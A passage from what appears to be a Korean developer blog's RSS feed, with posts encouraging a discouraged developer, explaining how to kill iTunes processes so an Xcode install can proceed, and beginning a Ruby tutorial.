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&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;64비트 멀티코어 OS 원리와 구조&amp;gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;그분께 제가 드렸던, 그리고 드리고 싶었던 메시지는 이거였습니다. 또한, 같은 고민을 하시는 분께 드리고 싶은 메시지이기도 합니다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;개발을 포기하지는 마세요. 하나만 선택해야하고 다른 것은 포기해야 한다는 법은 없습니다. 조금만 생각하면 원하는 일을 하시면서 다른 일도 같이할 수 있는 방법이 있습니다. 인생은 하고 싶은 일만 하고 살기에도 짧습니다. 꾸준이 개발하시고 즐거움을 찾으시다보면 곧 다른 길이 열릴 겁니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;이 글과 일맥상통하는 제 글이 있기에 링크를 걸어봅니다. &lt;a href=&quot;http://kkamagui.tistory.com/691&quot;&gt;저는 지금도 여전히 하고 싶은 일을 하면서 살고 있습니다 - 1편&lt;/a&gt;, &lt;a href=&quot;http://kkamagui.tistory.com/734&quot;&gt;저는 지금도 여전히 하고 싶은 일을 하면서 살고 있습니다 - 2편&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;그럼 여러분 모두 건승하시기 바랍니다. ^^&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-802-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-802-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-802-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F802&amp;regts=1331809589&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/805&quot; &gt;[서평] 오늘 내가 살아갈 이유...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/803&quot; &gt;요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>개발 만세</category>
			<category>희망을 잃지 마세요</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/802</guid>
			<comments>http://kkamagui.tistory.com/802#entry802comment</comments>
			<pubDate>Wed, 14 Mar 2012 15:01:59 +0900</pubDate>
		</item>
		<item>
			<title>XCode 설치 시 iTunes를 종료하라고 나오는 경우 해결 방법</title>
			<link>http://kkamagui.tistory.com/801</link>
			<description>XCode 설치 시 iTunes 를 종료해야 다음으로 넘어간다는 메시지가 뜰 때가 있습니다. 이럴 때는 다음과 같이 터미널을 열어서 iTunes 관련 프로세스를 모두 종료하면 다음으로 진행됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;$ &lt;span style=&quot;font-weight: bold;&quot;&gt;ps x | grep iTunes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;== iTunes와 관련된 모든 프로세스를 표시&lt;/span&gt;
&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;127&lt;/span&gt;&amp;nbsp;&amp;nbsp; ??&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0:00.10 /Applications/iTunes.app/Contents/MacOS/iTunesHelper.app/Contents/MacOS/iTunesHelper -psn_0_36873
&amp;nbsp;&lt;span style=&quot;font-weight: bold;&quot;&gt;2878&lt;/span&gt; s000&amp;nbsp; S+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0:00.00 grep iTunes&lt;br /&gt;
$ &lt;span style=&quot;font-weight: bold;&quot;&gt;kill 127&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;== 프로세스 죽이기
$ &lt;span style=&quot;font-weight: bold;&quot;&gt;kill 2878&lt;/span&gt;
&lt;/code&gt;&lt;span style=&quot;font-family: sans-serif;&quot;&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;/span&gt;아아... 맥은... 그냥 이쁜 리눅스 같군요... OTL... 환상이 마구 깨지고 있는 중입니다. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-801-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-801-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-801-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F801&amp;regts=1331648280&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/맥%28Mac%20OS%20X%29&quot;&gt;맥(Mac OS X)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/804&quot; &gt;맥용 RAR 압축 해제 유틸~ UnRarX&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(12)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/801&quot; &gt;XCode 설치 시 iTunes를 종료하라고 나오는 경우 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/13&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>맥(Mac OS X)</category>
			<category>iTunes 설치</category>
			<category>mac os x</category>
			<category>Xcode</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/801</guid>
			<comments>http://kkamagui.tistory.com/801#entry801comment</comments>
			<pubDate>Tue, 13 Mar 2012 23:11:09 +0900</pubDate>
		</item>
		<item>
			<title>스타트 루비(Start Ruby) 1편</title>
			<link>http://kkamagui.tistory.com/799</link>
			<description>&lt;p&gt;
  &lt;/p&gt;
&lt;h1&gt;스타트 루비(Start Ruby) #1&lt;/h1&gt;

&lt;p&gt;이 시간에는 루비 언어의 탄생 배경과 루비 언어의 특징에 대해서 간단히 알아보겠습니다. 루비 언어는 여러 언어의 장점을 취해서 만든만큼 다양한 기능들이 있지만, 사실 세컨드 랭귀지(Second Language)로 사용하는 정도라면 이번 장과 다음 장에서 설명하는 내용만으로도 충분할 것입니다. 자, 그럼 루비의 세계로 한 번 들어가 보겠습니다.&lt;/p&gt;

&lt;h1&gt;루비(Ruby)?&lt;/h1&gt;

&lt;p&gt;루비는 마츠모토 유키히로라는 일본 사람이 만들었습니다. 유키히로씨는 쉽게 쓸 수 있으면서 객체지향적인 언어를 만드는 걸 목표로 했고, 그래서 탄생한 것이 바로 루비(Ruby)입니다.&lt;/p&gt;

